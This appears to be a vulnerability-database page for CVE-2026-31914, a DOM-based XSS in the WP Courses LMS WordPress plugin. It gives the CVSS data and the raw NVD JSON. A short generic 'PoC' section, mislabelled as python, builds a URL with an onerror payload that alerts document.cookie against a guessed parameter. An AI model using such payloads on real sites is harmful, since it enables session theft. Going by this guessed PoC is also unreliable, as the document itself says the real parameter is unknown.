Security Vulnerability Report
中文
CVE-2026-31914 CVSS 6.5 MEDIUM

CVE-2026-31914

Published: 2026-03-25 17:16:59
Last Modified: 2026-04-24 16:35:20

Description

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in hookandhook WP Courses LMS wp-courses allows DOM-Based XSS.This issue affects WP Courses LMS: from n/a through <= 3.2.26.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

WP Courses LMS <= 3.2.26

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// Proof of Concept for CVE-2026-31914 // This example assumes a vulnerable parameter reflects into the DOM var maliciousPayload = '<img src=x onerror=alert(document.cookie)>'; // Construct the attack URL (replace 'vulnerable_param' with actual parameter if known) var targetUrl = 'https://example.com/?vulnerable_param=' + encodeURIComponent(maliciousPayload); console.log('Attack URL:', targetUrl); // If the plugin takes this input and places it into innerHTML without sanitization, // the alert box will trigger, demonstrating the XSS vulnerability.

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-31914", "sourceIdentifier": "[email protected]", "published": "2026-03-25T17:16:58.643", "lastModified": "2026-04-24T16:35:20.070", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in hookandhook WP Courses LMS wp-courses allows DOM-Based XSS.This issue affects WP Courses LMS: from n/a through <= 3.2.26."}, {"lang": "es", "value": "Neutralización Incorrecta de la Entrada Durante la Generación de Páginas Web ('cross-site scripting') vulnerabilidad en hookandhook WP Courses LMS wp-courses permite XSS basado en DOM. Este problema afecta a WP Courses LMS: desde n/a hasta &lt;= 3.2.26."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.3, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/wp-courses/vulnerability/wordpress-wp-courses-lms-plugin-3-2-26-cross-site-scripting-xss-vulnerability?_s_id=cve", "source": "[email protected]"}]}}